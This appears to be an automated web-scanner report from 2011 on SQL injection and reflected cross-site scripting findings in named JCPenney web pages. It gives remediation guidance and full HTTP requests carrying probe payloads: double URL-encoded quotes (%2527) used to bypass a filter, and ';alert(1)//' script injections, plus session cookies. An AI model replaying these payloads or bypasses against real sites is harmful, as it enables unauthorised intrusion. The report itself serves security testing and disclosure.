SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /jcp%2527/JCPRoute.aspx?Target=PREPRINT_HOME&cmResetCat=True&CmCatId=70676&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105704 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: IsFirstTime=; cmResetFlag=N; cmCat=EXTERNAL|G1_D6B_70676; JCPCluster=www4.jcpenney.com; JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ShopperType=XGN255&DateShopperIdAssigned=02%2F25%2F2011&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 1
HTTP/1.1 404 Not Found ntCoent-Length: 1635 Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Vary: Accept-Encoding Expires: Sat, 26 Feb 2011 04:55:35 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:35 GMT Connection: close Content-Length: 1635
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>The page cannot be found</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; cha ...[SNIP]... <h2>HTTP Error 404 - File or directory not found.<br> ...[SNIP]...
Request 2
GET /jcp%2527%2527/JCPRoute.aspx?Target=PREPRINT_HOME&cmResetCat=True&CmCatId=70676&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105704 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: IsFirstTime=; cmResetFlag=N; cmCat=EXTERNAL|G1_D6B_70676; JCPCluster=www4.jcpenney.com; JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ShopperType=XGN255&DateShopperIdAssigned=02%2F25%2F2011&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 2
HTTP/1.1 400 Bad Request Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Vary: Accept-Encoding Expires: Sat, 26 Feb 2011 04:55:35 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 37
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /jcp%2527/freeship4u.aspx?refpagename=X2%252Easpx&refdeptid=70676&refcatid=70676&cmAMS_T=X2&cmAMS_C=BANNER&cmAMS_V=X2V1&CmCatId=70676 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; IsFirstTime=; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 1
HTTP/1.1 404 Not Found ntCoent-Length: 103 Content-Type: text/html Server: Microsoft-IIS/6.0 nnCoection: close Expires: Sat, 26 Feb 2011 04:55:23 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:23 GMT Connection: close Vary: Accept-Encoding Content-Length: 103
<html><head><title>Error</title></head><body>The system cannot find the file specified. </body></html>
Request 2
GET /jcp%2527%2527/freeship4u.aspx?refpagename=X2%252Easpx&refdeptid=70676&refcatid=70676&cmAMS_T=X2&cmAMS_C=BANNER&cmAMS_V=X2V1&CmCatId=70676 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; IsFirstTime=; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response 2
HTTP/1.1 400 Bad Request Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sat, 26 Feb 2011 04:55:23 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:23 GMT Connection: close Vary: Accept-Encoding Connection: Transfer-Encoding Content-Length: 37
The grptyp parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the grptyp parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: /jcp/UserError.aspx?exception=000 Pragma: no-cache Content-Type: text/html Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:39 GMT Date: Sat, 26 Feb 2011 04:58:39 GMT Connection: close Connection: Transfer-Encoding Content-Length: 158
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fjcp%2fUserError.aspx%3fexception%3d000">here</a>.</h2> </body></html>
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Pragma: no-cache Content-Length: 0 Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:40 GMT Date: Sat, 26 Feb 2011 04:58:40 GMT Connection: close
The itemid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the itemid parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: /jcp/UserError.aspx?exception=000 Pragma: no-cache Content-Type: text/html Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:42 GMT Date: Sat, 26 Feb 2011 04:58:42 GMT Connection: close Connection: Transfer-Encoding Content-Length: 158
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fjcp%2fUserError.aspx%3fexception%3d000">here</a>.</h2> </body></html>
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Pragma: no-cache Content-Length: 0 Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:58:44 GMT Date: Sat, 26 Feb 2011 04:58:44 GMT Connection: close
2. Cross-site scripting (reflected)previous There are 4 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the function request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e9d26%3balert(1)//15808bcbf87 was submitted in the function parameter. This input was echoed as e9d26;alert(1)//15808bcbf87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jcp/getjcpheaderc.aspx?function=getmenuitemse9d26%3balert(1)//15808bcbf87&ver=20110225&fx=3 HTTP/1.1 Host: www2.jcpenney.com Proxy-Connection: keep-alive Referer: http://www2.jcpenney.com/jcp/x2.aspx?DeptID=70656&CatID=70656&cmAMS_T=G1&cmAMS_C=D1B&mscssid=6781f8d69adfb4b56a7c960f89a4dcae2xMnVNoV5a3oxMnVNoV5a3W200B58E3AFFEDC3F853B83DAF37AF65E61271105704&cmAMS_V= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 16:53:15 GMT Content-Type: text/html; charset=utf-8 ntCoent-Length: 56 Vary: Accept-Encoding Date: Sat, 26 Feb 2011 04:53:15 GMT Connection: close Content-Length: 56
Error function : getmenuitemse9d26;alert(1)//15808bcbf87
The value of the function request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload ab880%3balert(1)//76fd0243f43 was submitted in the function parameter. This input was echoed as ab880;alert(1)//76fd0243f43 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jcp/getjcpheaderc.aspx?function=getmenuitemsab880%3balert(1)//76fd0243f43&ver=20110225&fx=3 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 16:54:54 GMT Content-Type: text/html; charset=utf-8 ntCoent-Length: 56 Date: Sat, 26 Feb 2011 04:54:54 GMT Connection: close Vary: Accept-Encoding Content-Length: 56
Error function : getmenuitemsab880;alert(1)//76fd0243f43
The value of the CmCatId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a2ac'%3balert(1)//283a8961974 was submitted in the CmCatId parameter. This input was echoed as 7a2ac';alert(1)//283a8961974 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jcp/X6E.aspx?GrpTyp=ENS&ItemID=1a6ddbd&deptid=70750&dep=BEDDING&catid=72384&pcat=BEDDING&cat=Sale&NOffset=0&CatSel=4294953363%7ccomforters+%2b+bedspreads&pcatid=70750&Ne=4294957900+5+877+1014+1031+1007+6+8+904+18+833&N=4294953363&SO=0&cattyp=SAL&Nao=0&PSO=0&CmCatId=homepage|723847a2ac'%3balert(1)//283a8961974 HTTP/1.1 Host: www5.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/XGN.aspx?n=4294953363&catsel=4294953363--comforters+++bedspreads&deptid=70750&pcatid=70750&catid=72384&cattyp=SAL&dep=BEDDING&pcat=BEDDING&cat=Sale&refpagename=Default%252Easpx&refdeptid=&refcatid=&cmAMS_T=T1&cmAMS_C=C3&CmCatId=homepage Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: IsFirstTime=; JCPCluster=www4.jcpenney.com; JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 17:11:05 GMT Content-Type: text/html; charset=utf-8 ntCoent-Length: 255179 Vary: Accept-Encoding Date: Sat, 26 Feb 2011 05:11:06 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105705&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp Content-Length: 255179
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>JCPenney : 400TC WrinkleGuard Bedding Collection</title> <meta content="Microsoft Visual Studio .NET 7.1" ...[SNIP]... 0B181A7FD6BCDF0818AD551CB2274291EC1105705'); R3_COMMON.addPlacementType('ensemble_page.content1'); R3_COMMON.addClickthruParams(0, escape('cmOrigId=1a6ddbd&cmTypeFlag=RichRel&cmCatID=homepage|723847a2ac';alert(1)//283a8961974')); R3_COMMON.setClickthruServer('http://www5.jcpenney.com/jcp/'); var R3_ENSEMBLE = new r3_ensemble(); R3_ENSEMBLE.setId('1a6ddbd'); R3_ENSEMBLE.setRecommendable('True'); R3_ENSEMBLE.addCat ...[SNIP]...
The value of the function request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 79965%3balert(1)//e336fdf9c7 was submitted in the function parameter. This input was echoed as 79965;alert(1)//e336fdf9c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 16:57:35 GMT Content-Type: text/html; charset=utf-8 Cteonnt-Length: 55 Date: Sat, 26 Feb 2011 04:57:35 GMT Connection: close Vary: Accept-Encoding Content-Length: 55
Error function : getmenuitems79965;alert(1)//e336fdf9c7